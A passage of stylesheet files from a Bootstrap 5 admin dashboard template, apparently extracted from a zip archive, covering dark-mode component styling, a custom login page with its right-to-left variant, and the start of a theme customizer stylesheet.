#e4f2fe, -1px 1px #e4f2fe; } div.dataTables_wrapper div.dataTables_length select { padding-right: 2rem; } table.dataTable tbody .selected td.select-checkbox:before, table.dataTable tbody .selected th.select-checkbox:before { border-color: #fff; } table.dataTable tbody > tr > .selected td.select-checkbox:after, table.dataTable tbody > tr > .selected th.select-checkbox:after, table.dataTable tbody > tr.selected td.select-checkbox:after, table.dataTable tbody > tr.selected th.select-checkbox:after { content: '\2714'; margin-top: -11px; margin-left: -4px; text-align: center; } div.dt-button-info { position: fixed; top: 50%; left: 50%; width: 400px; margin-top: -100px; margin-left: -200px; background-color: #aba4d7; color: #51459d; border: 2px solid #51459d; box-shadow: 3px 3px 8px rgba(0, 0, 0, 0.3); border-radius: 3px; text-align: center; z-index: 21; } div.dt-button-info h2, div.dt-button-info .h2 { padding: 0.5em; margin: 0; font-weight: normal; color: #fff; border-bottom: 1px solid #51459d; background-color: #51459d; } div.dt-button-info > div { padding: 1em; } .dt-buttons { margin-bottom: 5px; } table.dataTable tbody td.focus, table.dataTable tbody th.focus { box-shadow: inset 0 0 1px 2px #51459d; } div.dtk-focus-alt table.dataTable tbody td.focus, div.dtk-focus-alt table.dataTable tbody th.focus { box-shadow: inset 0 0 1px 2px #ffa21d; background: rgba(255, 162, 29, 0.15); color: #ffa21d; } table.dataTable > thead .sorting:before, table.dataTable > thead .sorting:after, table.dataTable > thead .sorting_asc:before, table.dataTable > thead .sorting_asc:after, table.dataTable > thead .sorting_desc:before, table.dataTable > thead .sorting_desc:after, table.dataTable > thead .sorting_asc_disabled:before, table.dataTable > thead .sorting_asc_disabled:after, table.dataTable > thead .sorting_desc_disabled:before, table.dataTable > thead .sorting_desc_disabled:after { top: 13px; } table.dataTable tbody > tr > .selected td.select-checkbox:after, table.dataTable tbody > tr > .selected th.select-checkbox:after, table.dataTable tbody > tr.selected td.select-checkbox:after, table.dataTable tbody > tr.selected th.select-checkbox:after { margin-top: -21px; margin-left: -7px; } /**====== Data Tables css end ======**/ .peity-chart + .peity { width: 100%; height: 250px; } text { fill: #efefef; } .apexcharts-legend-text { color: #808191 !important; } .apexcharts-xaxis line { stroke: #3E3F4A !important; } .apexcharts-gridline, .apexcharts-xaxis-tick { stroke: #3E3F4A; } .dash-header .dash-head-link.active, .dash-header .dash-head-link:active, .dash-header .dash-head-link:focus, .dash-header .dash-head-link:hover { background: rgba(255, 255, 255, 0.15); color: #fff; } .card .dropzone { background: #1e1e25; } .bd-example-modal, .invoice-total.table { background: #22242c; } .task-board-left .task-right-header-revision, .task-board-left .task-right-header-status, .task-board-left .task-right-header-users { border-color: #3E3F4A; } #task-container li, .fc-button, .fc-today-button { border-color: #3E3F4A; background: #1e1e25; color: #808191; } .fc-state-active, .fc-state-disabled, .fc-state-down { background: #51459d; color: #ffffff; } .filter-bar .navbar, .sticky-action .card-header { background: #292A33; } .border-light { border-color: #3E3F4A !important; } .auth-wrapper .auth-side-form, .auth-wrapper .saprator span, .dash-wizard-details .nav.nav-tabs .nav-link.active, .dash-wizard-details .nav.nav-tabs .show > .nav-link, .sw-theme-default .step-content, table.DTFC_Cloned tr { background: #292A33; } .pct-customizer .pct-c-content { color: #293240; } .pct-customizer .pct-c-content h6, .pct-customizer .pct-c-content .h6 { color: #060606; } .pct-customizer .pct-c-content .custom-control-label::before { background: #fff; border-color: #adb5bd; } .pct-customizer .pct-c-content .custom-switch .custom-control-label::after { background: #adb5bd; } .pct-customizer .pct-c-content .custom-control-input:checked ~ .custom-control-label::before { border-color: #51459d; background-color: #51459d; } .pct-customizer .pct-c-content .custom-switch .custom-control-input:checked ~ .custom-control-label::after { background: #fff; } .pct-customizer .pct-c-content .form-check-input:not(:checked) { background-color: #fff; } .card-footer.bg-light { background: #22232b !important; } .dropdown .dropdown-item svg { fill: rgba(155, 158, 162, 0.11); } .tab-wizard.nav .nav-item .nav-link { background: rgba(41, 42, 51, 0.4); } .tab-wizard.nav .nav-link.active, .tab-wizard.nav .show > .nav-link { background: #292A33; } .text-dark { color: #d9d9da !important; } .uppy-Dashboard-inner, .uppy-DashboardTab, .uppy-DragDrop-container { background: #292A33; border-color: #3E3F4A; } .tox .tox-tbtn { color: #808191; } .tox .tox-menubar, .tox .tox-toolbar, .tox .tox-toolbar__overflow, .tox .tox-toolbar__primary { background: #292A33; } .ql-snow .ql-stroke { stroke: #808191; } .ql-snow .ql-picker { color: #808191; } .ql-container.ql-snow, .ql-toolbar.ql-snow, .trumbowyg-box, .trumbowyg-editor { border-color: #3E3F4A; } .note-toolbar.card-header { background: #fff; border-bottom-color: #ddd; } .trumbowyg-button-pane { background: #292A33 !important; } .trumbowyg-button-pane button.trumbowyg-active, .trumbowyg-button-pane button:not(.trumbowyg-disable):focus, .trumbowyg-button-pane button:not(.trumbowyg-disable):hover { background: #1e1e25 !important; } .trumbowyg-box svg, .trumbowyg-modal svg { fill: #808191 !important; color: #808191; } .trumbowyg-button-pane .trumbowyg-button-group::after { background: #3E3F4A !important; } .trumbowyg-button-pane::after { background: #3E3F4A !important; } .trumbowyg-button-pane { border-bottom: 1px solid #3E3F4A !important; } button:focus { outline: none; } .trumbowyg-box, .trumbowyg-editor { border-color: #3E3F4A !important; } .card .card-header h5, .card .card-header .h5, .card .card-header .h5 { color: #ffffff; } .dash-header { box-shadow: 0 1px 0 0 #000000; } .badge.bg-light-primary { background: rgba(81, 69, 157, 0.2); color: #51459d; border-color: rgba(81, 69, 157, 0.2); } .icon-svg-primary { fill: rgba(81, 69, 157, 0.2); stroke: #51459d; } .btn-light-primary { background: rgba(81, 69, 157, 0.2); border-color: rgba(81, 69, 157, 0.2); } .badge.bg-light-secondary { background: rgba(108, 117, 125, 0.2); color: #6c757d; border-color: rgba(108, 117, 125, 0.2); } .icon-svg-secondary { fill: rgba(108, 117, 125, 0.2); stroke: #6c757d; } .btn-light-secondary { background: rgba(108, 117, 125, 0.2); border-color: rgba(108, 117, 125, 0.2); } .badge.bg-light-success { background: rgba(111, 217, 67, 0.2); color: #6fd943; border-color: rgba(111, 217, 67, 0.2); } .icon-svg-success { fill: rgba(111, 217, 67, 0.2); stroke: #6fd943; } .btn-light-success { background: rgba(111, 217, 67, 0.2); border-color: rgba(111, 217, 67, 0.2); } .badge.bg-light-info { background: rgba(62, 201, 214, 0.2); color: #3ec9d6; border-color: rgba(62, 201, 214, 0.2); } .icon-svg-info { fill: rgba(62, 201, 214, 0.2); stroke: #3ec9d6; } .btn-light-info { background: rgba(62, 201, 214, 0.2); border-color: rgba(62, 201, 214, 0.2); } .badge.bg-light-warning { background: rgba(255, 162, 29, 0.2); color: #ffa21d; border-color: rgba(255, 162, 29, 0.2); } .icon-svg-warning { fill: rgba(255, 162, 29, 0.2); stroke: #ffa21d; } .btn-light-warning { background: rgba(255, 162, 29, 0.2); border-color: rgba(255, 162, 29, 0.2); } .badge.bg-light-danger { background: rgba(255, 58, 110, 0.2); color: #ff3a6e; border-color: rgba(255, 58, 110, 0.2); } .icon-svg-danger { fill: rgba(255, 58, 110, 0.2); stroke: #ff3a6e; } .btn-light-danger { background: rgba(255, 58, 110, 0.2); border-color: rgba(255, 58, 110, 0.2); } .badge.bg-light-light { background: rgba(248, 249, 250, 0.2); color: #f8f9fa; border-color: rgba(248, 249, 250, 0.2); } .icon-svg-light { fill: rgba(248, 249, 250, 0.2); stroke: #f8f9fa; } .btn-light-light { background: rgba(248, 249, 250, 0.2); border-color: rgba(248, 249, 250, 0.2); } .badge.bg-light-dark { background: rgba(28, 35, 47, 0.2); color: #1c232f; border-color: rgba(28, 35, 47, 0.2); } .icon-svg-dark { fill: rgba(28, 35, 47, 0.2); stroke: #1c232f; } .btn-light-dark { background: rgba(28, 35, 47, 0.2); border-color: rgba(28, 35, 47, 0.2); } .latest-update-card .card-body .latest-update-box:after { background: #1e1e25; } *[class*="bg-"] text { fill: #fff; } .close { color: #808191; text-shadow: none; } .close:hover { color: #808191; } body .title h2, body .title .h2 { color: #808191; } body .title h2 span, body .title .h2 span { color: #ffffff; } body .theme-alt-bg, body .price-section::after { background: #30313b !important; } body .faq .accordion .accordion-item .accordion-button:not(.collapsed) { box-shadow: 0 6px 30px rgba(6, 6, 6, 0.3) !important; } select.form-control, select.custom-select, select.dataTable-selector, select.dataTable-input { background: #22242c url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke='%239b9ea2' stroke-width='2' fill='none' stroke-linecap='round' stroke-linejoin='round' class='css-i6dzq1'%3E%3Cpolyline points='6 9 12 15 18 9'%3E%3C/polyline%3E%3C/svg%3E") no-repeat right 0.75rem center/18px 25px; } .datepicker-dropdown:after { border-bottom-color: #262f3f; } .datepicker-dropdown.datepicker-orient-top:after { border-top-color: #262f3f; } .bootstrap-timepicker-widget .bootstrap-timepicker-hour, .bootstrap-timepicker-widget .bootstrap-timepicker-meridian, .bootstrap-timepicker-widget .bootstrap-timepicker-minute, .bootstrap-timepicker-widget .bootstrap-timepicker-second { background: transparent; } .bootstrap-timepicker-widget table td a { color: #808191; } .bootstrap-timepicker-widget.timepicker-orient-bottom:after { border-top-color: #262f3f; } .select2-dropdown { background: #22242c; } .select2-container--default .select2-search--dropdown .select2-search__field { background: #22242c; color: #808191; } .select2-container--default .select2-selection--multiple { background: #22242c; } .select2-container--default .select2-selection--single { background: #22242c; } .select2-container--default .select2-selection--single .select2-selection__rendered { color: #808191; } .irs--flat .irs-line, .irs--flat .irs-max, .irs--flat .irs-min { background: #1e1e25; } .noUi-target { background: #1e1e25; border-color: #1b1c22; box-shadow: inset 0 1px 1px #17171c, 0 3px 6px -5px #343641; } .noUi-handle { border: 1px solid #393a47; background: #343641; box-shadow: inset 0 0 1px #3b3d4a, inset 0 1px 7px #373844, 0 3px 6px -3px #343641; } .noUi-tooltip { border-color: #3E3F4A; background: #22242c; color: #808191; } .bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-default, .bootstrap-switch .bootstrap-switch-handle-on.bootstrap-switch-default { background: #343641; color: #808191; } .bootstrap-switch .bootstrap-switch-label { background: #30313b; } .tt-menu { background: #262f3f; } .uppy-DragDrop-arrow { fill: #808191; } .sw-theme-arrows .step-content, .sw-theme-arrows .sw-toolbar, .sw-theme-arrows > ul.step-anchor, .sw-theme-circles .step-content, .sw-theme-circles .sw-toolbar, .sw-theme-circles > ul.step-anchor, .sw-theme-dots .step-content, .sw-theme-dots .sw-toolbar, .sw-theme-dots > ul.step-anchor { background: transparent; } td.highlight { background: transparent; } .apexcharts-grid-row, polygon { fill: transparent; } .apexcharts-svg line { stroke: #3E3F4A; } .apexcharts-svg polygon { stroke: #30313b; } .highcharts-root .highcharts-background { fill: transparent; } .highcharts-root .highcharts-grid-line { stroke: rgba(62, 63, 74, 0.5); } .highcharts-root .highcharts-title { color: #808191; fill: #808191 !important; } .highcharts-root .highcharts-legend-item text { fill: #808191 !important; } .user-card .user-about-block img { box-shadow: 0 0 0 5px #292A33; } .q-view .content { background: #292A33; } .hover-blk { background: #202128; } .ticket-block .ticket-type-icon { color: #808191; } .ticket-block .col.border-right { border-color: #3E3F4A !important; } .ticket-block .hd-body { border-color: #3E3F4A; } .hd-detail.bg-light, .topic-name + .bg-light { background: #24252d !important; } .card.background-pattern .bg-white { background: #202128 !important; } .dash-header .dash-cart-menu .drp-cart .cart-head, .dash-header .dash-cart-menu .drp-cart .cart-item.table-responsive { background: rgba(255, 255, 255, 0.05); } .user-profile-list table tr td { background: #292A33; } .user-profile { background: #292A33; } .dash-container.sidebar-layouts .dash-content .sidebar-links .nav-item .nav-link.active, .dash-container.sidebar-layouts .dash-content .sidebar-links .nav-item .nav-link:hover, .dash-container.sidebar-layouts .dash-content .sidebar-links .nav-item a.active, .dash-container.sidebar-layouts .dash-content .sidebar-links .nav-item a:hover, .dash-container.sidebar-layouts .dash-content .sidebar-links li .nav-link.active, .dash-container.sidebar-layouts .dash-content .sidebar-links li .nav-link:hover, .dash-container.sidebar-layouts .dash-content .sidebar-links li a.active, .dash-container.sidebar-layouts .dash-content .sidebar-links li a:hover { background: #22242c; color: #808191; border-color: #22242c; } .highlight { background: transparent; } .highlight pre code { color: #808191; } code[class*="language-"], pre[class*="language-"] { color: #808191; } code[class*="language-"] > code, pre[class*="language-"] > code { background: #292A33; box-shadow: -1px 0 0 0 #358ccb, 0 0 0 1px #3E3F4A; } .token.entity, .token.operator, .token.url, .token.variable { background: transparent; } .swal2-popup { background: #30313b !important; } .swal2-popup .swal2-title { color: #8e8f9d; } .swal2-popup .swal2-content { color: #808191; } .swal2-popup .swal2-footer { border-top-color: #3E3F4A; } .dash-tab-control.wizard > .steps a { background: rgba(41, 42, 51, 0.5); } .dash-tab-control.wizard > .steps .current a { background: #292A33; } .dash-tab-control.wizard > .steps .done a:hover { background: rgba(41, 42, 51, 0.5); } body .dash-sidebar.light-sidebar { background: #292a33; } body .dash-sidebar.light-sidebar:not(.transprent-bg) { box-shadow: -6.3821px 8.50947px 48.9295px rgba(0, 0, 0, 0.1); } body .dash-sidebar.light-sidebar .dash-caption { color: #fff; } body .dash-sidebar.light-sidebar .dash-link { color: #fff; } body .dash-sidebar.light-sidebar .dash-link .dash-micon { background-color: #292a33; box-shadow: -3px 4px 23px rgba(0, 0, 0, 0.1); } body .dash-sidebar.light-sidebar .dash-link .dash-micon i, body .dash-sidebar.light-sidebar .dash-link .dash-micon svg { color: #8d8fa7; stroke: #8d8fa7; fill: #f2f2f2; } body .dash-sidebar.light-sidebar .dash-link .dash-micon .material-icons-two-tone { background-color: #525b69; } body .dash-sidebar.light-sidebar .dash-link .dash-arrow { margin-top: 7px; } body .dash-sidebar.light-sidebar .dash-link:active, body .dash-sidebar.light-sidebar .dash-link:focus, body .dash-sidebar.light-sidebar .dash-link:hover { color: #51459d; } body .dash-sidebar.light-sidebar .dash-item.active > .dash-link, body .dash-sidebar.light-sidebar .dash-item:hover > .dash-link { color: #51459d; } body .dash-sidebar.light-sidebar .dash-item.active > .dash-link .dash-micon i.material-icons-two-tone, body .dash-sidebar.light-sidebar .dash-item:hover > .dash-link .dash-micon i.material-icons-two-tone { background-color: #51459d; } body .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link { box-shadow: -6px 11px 19px rgba(0, 0, 0, 0.04); background: #292a33; color: #fff; } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-item:before { border-color: #8d8fa7; } body .dash-header .drp-company .theme-avtar { background-color: #343641 !important; } body .dash-header .dash-head-link { background: #292a33; } body .dash-header .dash-head-link .dash-h-badge.dots { border-color: #292a33; } body .dash-header:not(.transprent-bg) { background-color: #292a33; box-shadow: -6.3821px 8.50947px 48.9295px rgba(0, 0, 0, 0.1); } @media (max-width: 1024px) { body .dash-header .header-wrapper, body .dash-header.mob-header-active .header-wrapper { background-color: #292a33; } body .dash-header .dash-mob-drp, body .dash-header .dash-mob-drp.mob-drp-active { background-color: #292a33; } } body .bg-light { background: #1c232f !important; } body .card .card { box-shadow: 0 6px 30px rgba(6, 8, 16, 0.3); } body .dataTable-pagination a:hover, body .dataTable-pagination .active a, body .dataTable-pagination .active a:focus, body .dataTable-pagination .active a:hover { background: #30313b; } body .CodeMirror, body .editor-toolbar a { color: #808191 !important; } body .CodeMirror, body .accordion-button:not(.collapsed), body .invoice-total, body .table thead th { background: #30313b; } /**====== Start Sidebar scroll css ======**/ .ps { overflow: hidden !important; overflow-anchor: none; touch-action: auto; } .ps__rail-x { display: none; opacity: 0; transition: background-color 0.2s linear, opacity 0.2s linear; height: 15px; bottom: 0; position: absolute; } .ps__rail-y { display: none; opacity: 0; transition: background-color 0.2s linear, opacity 0.2s linear; width: 15px; right: 0; position: absolute; } .ps--active-x > .ps__rail-x, .ps--active-y > .ps__rail-y { display: block; background-color: transparent; } .ps:hover > .ps__rail-x, .ps:hover > .ps__rail-y { opacity: 0.6; } .ps--focus > .ps__rail-x, .ps--focus > .ps__rail-y { opacity: 0.6; } .ps--scrolling-x > .ps__rail-x, .ps--scrolling-y > .ps__rail-y { opacity: 0.6; } .ps .ps__rail-x.ps--clicking, .ps .ps__rail-x:focus, .ps .ps__rail-x:hover, .ps .ps__rail-y.ps--clicking, .ps .ps__rail-y:focus, .ps .ps__rail-y:hover { background-color: #eee; opacity: 0.9; } .ps__thumb-x { background-color: #aaa; border-radius: 6px; transition: background-color 0.2s linear, height 0.2s ease-in-out; height: 6px; bottom: 2px; position: absolute; } .ps__thumb-y { background-color: #aaa; border-radius: 6px; transition: background-color 0.2s linear, width 0.2s ease-in-out; width: 6px; right: 2px; position: absolute; } .ps__rail-x.ps--clicking .ps__thumb-x, .ps__rail-x:focus > .ps__thumb-x, .ps__rail-x:hover > .ps__thumb-x { background-color: #999; height: 11px; } .ps__rail-y.ps--clicking .ps__thumb-y, .ps__rail-y:focus > .ps__thumb-y, .ps__rail-y:hover > .ps__thumb-y { background-color: #999; width: 11px; } @supports (-ms-overflow-style: none) { .ps { overflow: auto !important; } } @media screen and (-ms-high-contrast: active), (-ms-high-contrast: none) { .ps { overflow: auto !important; } } .navbar-content { position: relative; } .ps__rail-y { z-index: 5; } .ps .ps__rail-x.ps--clicking, .ps .ps__rail-x:focus, .ps .ps__rail-x:hover, .ps .ps__rail-y.ps--clicking, .ps .ps__rail-y:focus, .ps .ps__rail-y:hover { background: transparent; } .ps__thumb-y { background: #95a4e1; } .ps__rail-y.ps--clicking .ps__thumb-y, .ps__rail-y:focus > .ps__thumb-y, .ps__rail-y:hover > .ps__thumb-y { background: #a9b5e6; } /**====== End Sidebar scroll css ======**/ PKZFcss/custom-login.cssnu[.custom-login { position: relative; display: flex; align-items: center; justify-content: center; overflow: hidden; min-width: 100%; min-height: 100vh; background: var(--bs-white); } .custom-login .custom-login-inner { width: 100%; max-width: 1300px; min-height: calc(100vh - 40px); display: flex; flex-direction: column; padding: 15px; } .custom-login .dash-header { position: relative; left: 0; top: 0; right: 0; box-shadow: none; min-height: auto; } .custom-login .dash-header .dash-h-item { min-height: auto; } .custom-login .dash-header .navbar-brand { padding: 0; } .custom-login .dash-header .navbar-brand a { display: block; line-height: 1; } .custom-login .dash-header .navbar-brand a .logo { width: 100%; } .custom-login .bg-login { content: ""; top: 0; left: 50%; right: 0; bottom: 0; border-radius: 0px; position: absolute; transform-origin: bottom; background: var(--bs-green); } .custom-login .navbar { background: var(--bs-white); border-radius: 10px; -webkit-border-radius: 10px; -moz-border-radius: 10px; -ms-border-radius: 10px; -o-border-radius: 10px; box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); padding: 10px 0; } .custom-login .navbar .navbar-collapse { justify-content: flex-end; } .custom-login .navbar .nav-link { padding: 1px 20px; position: relative; font-weight: 500; color: var(--bs-dark); } .custom-login .navbar .nav-item .nav-link::after { content: ""; display: block; position: absolute; height: 100%; width: 2px; background: #000000; top: 0; right: 0; } .custom-login .navbar .nav-item:last-of-type .nav-link::after { display: none; } .custom-login .card { box-shadow: none; } .custom-login .custom-wrapper { padding: 40px 0; max-width: 1170px; width: 100%; display: flex; align-items: center; flex: 1; margin: 0 auto; } .custom-login .custom-wrapper .custom-row { display: flex; flex-wrap: wrap; width: 100%; justify-content: center; z-index: 9; } .custom-login .custom-wrapper .card .card-body { background-color: var(--bs-white); display: flex; flex-direction: column; justify-content: space-between; height: 100%; max-width: 440px; width: 100%; margin-left: auto; box-shadow: 0px 0px 25px 0px #0000000d; border-radius: 10px; -webkit-border-radius: 10px; -moz-border-radius: 10px; -ms-border-radius: 10px; -o-border-radius: 10px; } .custom-login .custom-login-form .for-pwd { font-size: 13px; line-height: 1; } .custom-login .custom-login-form .login-btn { margin-bottom: 20px; } .custom-login .custom-login-form .remember-check { font-size: 13px; } .custom-login .custom-login-form .field-icon { position: absolute; top: 58%; right: 10px; line-height: 1; } .custom-login .custom-login-form .pss-field { position: relative; } .custom-login a { color: var(--bs-green); } .custom-login .custom-wrapper .card .card-body h2 span { color: var(--bs-green); font-weight: 400; } .custom-login .form-control:focus { border-color: var(--bs-green); box-shadow: 0 0 0 0.2rem rgba(12, 175, 96, 0.25); } .custom-login .form-check-input:checked { background-color: var(--bs-green); border-color: var(--bs-green); } .custom-login .autorized-btn { gap: 15px; justify-content: space-between; margin-top: 20px; } .custom-login .autorized-btn .btn { max-width: 47%; width: 100%; } .custom-login .drp-language .drp-text { margin-right: 5px; } .custom-login .drp-language a span { color: #000000 !important; } .custom-login .dropdown-toggle::after { content: ""; position: absolute; height: 6px; width: 9px; right: 10px; top: 18px; background: url(../images/down-arrow.svg); background-size: 10px; background-repeat: no-repeat; background-position: center center; -webkit-transition: all ease-in-out .5s; -moz-transition: all ease-in-out .5s; -ms-transition: all ease-in-out .5s; -o-transition: all ease-in-out .5s; transition: all ease-in-out .5s; border: 0; } .custom-login .drp-language .btn { background: #F5F5F5; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; -ms-border-radius: 6px; -o-border-radius: 6px; margin: 0; padding: 10px 25px 10px 10px; } .custom-login .drp-language .btn.show { border-color: #F5F5F5; } .custom-login .custom-img img { max-width: 540px; width: 100%; margin: auto; display: block; } .custom-login .card { margin-bottom: 0; background-color: transparent; width: 440px; } .custom-login .custom-wrapper .card .card-body{ box-shadow: 0px 0px 25px 0px rgb(0 0 0 / 10%); border-radius: 20px !important; padding: 20px; } .login-bg-1{ position: absolute; bottom: 0; left: 10%; z-index: 1; } .login-bg-2{ position: absolute; bottom: 0; right: 0; z-index: 1; } .auth-footer{ position: relative; z-index: 1; text-align: center; } @media only screen and (max-width: 1439px) { .login-bg-1 { position: absolute; bottom: 0; left: 0%; z-index: 1; max-height: 500px; } } @media only screen and (max-width: 1300px) { .custom-login .card .custom-img img { max-width: 100%; } .login-bg-1 { position: absolute; bottom: 0; left: 0%; z-index: 1; max-height: 500px; } } @media only screen and (max-width: 1199px) { .custom-login .custom-wrapper .card .card-body { margin: auto; } } @media only screen and (max-width: 991px) { .custom-login .custom-wrapper { padding: 20px 0; } .custom-login .navbar .nav-link { padding: 0px 15px; } .auth-footer { text-align: center; } .login-bg-1,.login-bg-2{ display: none; } } @media only screen and (max-width: 767px) { .custom-login .dash-header .navbar-brand { max-width: 120px; } .custom-login .navbar .nav-item .nav-link::after { display: none; } .custom-login .navbar .nav-link { padding: 10px 20px; } .custom-login .custom-wrapper .card .card-body { padding: 20px 15px; } .custom-login .navbar .navbar-collapse { text-align: center; margin-top: 20px; } .custom-login .dash-header .dash-h-item { display: block; } .custom-login .drp-language a { text-align: center; } } @media only screen and (max-width: 575px) { .custom-login .autorized-btn .btn { max-width: 100%; } }PKZBcss/custom-login-rtl.cssnu[html{ direction: rtl; } .custom-login { position: relative; display: flex; align-items: center; justify-content: center; overflow: hidden; min-width: 100%; min-height: 100vh; background: var(--bs-white); } .custom-login .custom-login-inner { width: 100%; max-width: 1300px; min-height: calc(100vh - 40px); display: flex; flex-direction: column; padding: 15px; } .custom-login .dash-header { position: relative; right: 0; top: 0; left: 0; box-shadow: none; min-height: auto; } .custom-login .dash-header .dash-h-item { min-height: auto; } .custom-login .dash-header .navbar-brand { padding: 0; } .custom-login .dash-header .navbar-brand a { display: block; line-height: 1; } .custom-login .dash-header .navbar-brand a .logo { width: 100%; } .custom-login .bg-login { content: ""; top: 0; right: 50%; left: 0; bottom: 0; border-radius: 0px; position: absolute; transform-origin: bottom; background: var(--bs-green); } .custom-login .navbar { background: var(--bs-white); border-radius: 10px; -webkit-border-radius: 10px; -moz-border-radius: 10px; -ms-border-radius: 10px; -o-border-radius: 10px; box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); padding: 10px 0; } .custom-login .navbar .navbar-collapse { justify-content: flex-end; } .custom-login .navbar .nav-link { padding: 1px 20px; position: relative; font-weight: 500; color: var(--bs-dark); } .custom-login .navbar .nav-item .nav-link::after { content: ""; display: block; position: absolute; height: 100%; width: 2px; background: #000000; top: 0; left: 0; } .custom-login .navbar .nav-item:last-of-type .nav-link::after { display: none; } .custom-login .card { box-shadow: none; } .custom-login .custom-wrapper { padding: 40px 0; max-width: 1170px; width: 100%; display: flex; align-items: center; flex: 1; margin: 0 auto; } .custom-login .custom-wrapper .custom-row { display: flex; flex-wrap: wrap; width: 100%; justify-content: center; z-index: 9; } .custom-login .custom-wrapper .card .card-body { background-color: var(--bs-white); display: flex; flex-direction: column; justify-content: space-between; height: 100%; max-width: 440px; width: 100%; margin-right: auto; box-shadow: 0px 0px 25px 0px #0000000d; border-radius: 10px; -webkit-border-radius: 10px; -moz-border-radius: 10px; -ms-border-radius: 10px; -o-border-radius: 10px; } .custom-login .custom-login-form .for-pwd { font-size: 13px; line-height: 1; } .custom-login .custom-login-form .login-btn { margin-bottom: 20px; } .custom-login .custom-login-form .remember-check { font-size: 13px; } .custom-login .custom-login-form .field-icon { position: absolute; top: 58%; left: 10px; line-height: 1; } .custom-login .custom-login-form .pss-field { position: relative; } .custom-login a { color: var(--bs-green); } .custom-login .custom-wrapper .card .card-body h2 span { color: var(--bs-green); font-weight: 400; } .custom-login .form-control:focus { border-color: var(--bs-green); box-shadow: 0 0 0 0.2rem rgba(12, 175, 96, 0.25); } .custom-login .form-check-input:checked { background-color: var(--bs-green); border-color: var(--bs-green); } .custom-login .autorized-btn { gap: 15px; justify-content: space-between; margin-top: 20px; } .custom-login .autorized-btn .btn { max-width: 47%; width: 100%; } .custom-login .drp-language .drp-text { margin-left: 5px; } .custom-login .drp-language a span { color: #000000 !important; } .custom-login .dropdown-toggle::after { content: ""; position: absolute; height: 6px; width: 9px; left: 10px; top: 18px; background: url(../images/down-arrow.svg); background-size: 10px; background-repeat: no-repeat; background-position: center center; -webkit-transition: all ease-in-out .5s; -moz-transition: all ease-in-out .5s; -ms-transition: all ease-in-out .5s; -o-transition: all ease-in-out .5s; transition: all ease-in-out .5s; border: 0; } .custom-login .drp-language .btn { background: #F5F5F5; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; -ms-border-radius: 6px; -o-border-radius: 6px; margin: 0; padding: 10px 10px 10px 25px; } .custom-login .drp-language .btn.show { border-color: #F5F5F5; } .custom-login .custom-img img { max-width: 540px; width: 100%; margin: auto; display: block; } .custom-login .card { margin-bottom: 0; background-color: transparent; width: 440px; } .custom-login .custom-wrapper .card .card-body{ box-shadow: 0px 0px 25px 0px rgb(0 0 0 / 10%); border-radius: 20px !important; padding: 20px; } .login-bg-1{ position: absolute; bottom: 0; right: 10%; z-index: 1; transform: scaleX(-1); -webkit-transform: scaleX(-1); -moz-transform: scaleX(-1); -ms-transform: scaleX(-1); -o-transform: scaleX(-1); } .login-bg-2{ position: absolute; bottom: 0; left: 0; z-index: 1; transform: scaleX(-1); -webkit-transform: scaleX(-1); -moz-transform: scaleX(-1); -ms-transform: scaleX(-1); -o-transform: scaleX(-1); } .auth-footer{ position: relative; z-index: 1; text-align: center; } .navbar-collapse .navbar-nav.align-items-center{ padding-right: 0; margin-right: auto; margin-left: 0 !important; } @media only screen and (max-width: 1439px) { .login-bg-1 { position: absolute; bottom: 0; right: 0%; z-index: 1; max-height: 500px; } } @media only screen and (max-width: 1300px) { .custom-login .card .custom-img img { max-width: 100%; } .login-bg-1 { position: absolute; bottom: 0; right: 0%; z-index: 1; max-height: 500px; } } @media only screen and (max-width: 1199px) { .custom-login .custom-wrapper .card .card-body { margin: auto; } } @media only screen and (max-width: 991px) { .custom-login .custom-wrapper { padding: 20px 0; } .custom-login .navbar .nav-link { padding: 0px 15px; } .auth-footer { text-align: center; } .login-bg-1,.login-bg-2{ display: none; } } @media only screen and (max-width: 767px) { .custom-login .dash-header .navbar-brand { max-width: 120px; } .custom-login .navbar .nav-item .nav-link::after { display: none; } .custom-login .navbar .nav-link { padding: 10px 20px; } .custom-login .custom-wrapper .card .card-body { padding: 20px 15px; } .custom-login .navbar .navbar-collapse { text-align: center; margin-top: 20px; } .custom-login .dash-header .dash-h-item { display: block; } .custom-login .drp-language a { text-align: center; } } @media only screen and (max-width: 575px) { .custom-login .autorized-btn .btn { max-width: 100%; } }PKZL..css/customizer.cssnu[/**====================================================================== ========================================================================= Template Name: Dashboard Bootstrap 5 Admin Template Author: Rajodiya Infotech Support: [support link] File: style.css ========================================================================= =================================================================================== */ .pct-customizer { position: fixed; right: -360px; top: 160px; z-index: 1025; transition: all 0.15s ease-in-out; } .pct-customizer.active { right: 0; } .pct-customizer.active .pct-c-btn { padding-right: 0; } .pct-customizer .pct-c-btn { display: block; position: absolute; right: 100%; top: 0; transition: all 0.15s ease-in-out; } .pct-customizer .pct-c-btn .btn { padding: 17.5px 17.5px; display: block; border-radius: 8px 0 0 8px; box-shadow: 0 9px 9px -1px rgba(81, 69, 157, 0.3); } .pct-customizer .pct-c-btn .btn + .btn { margin-top: 8px; } .pct-customizer .pct-c-content { width: 360px; position: relative; top: 0; right: 0; background: #fff; overflow: hidden; border-radius: 0 0 0 4px; box-shadow: -9px 0 18px -1px rgba(69, 90, 100, 0.1); } .pct-customizer .pct-c-content .pct-header { padding: 20px 30px; border-bottom: 1px solid #f1f1f1; } .pct-customizer .pct-c-content .pct-body { padding: 20px 30px; } @media (max-width: 1024px) { .pct-customizer { display: none; } } .doc-img, .theme-color { display: block; position: relative; padding: 0; margin-top: 10px; margin-bottom: 10px; } .doc-img > a, .theme-color > a { position: relative; width: 35px; height: 25px; border-radius: 3px; display: inline-block; background: #f8f9fd; overflow: hidden; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.28); } .doc-img > a + a, .theme-color > a + a { margin-left: 5px; } .doc-img > a span, .theme-color > a span { width: 100%; position: absolute; } .doc-img > a span:after, .doc-img > 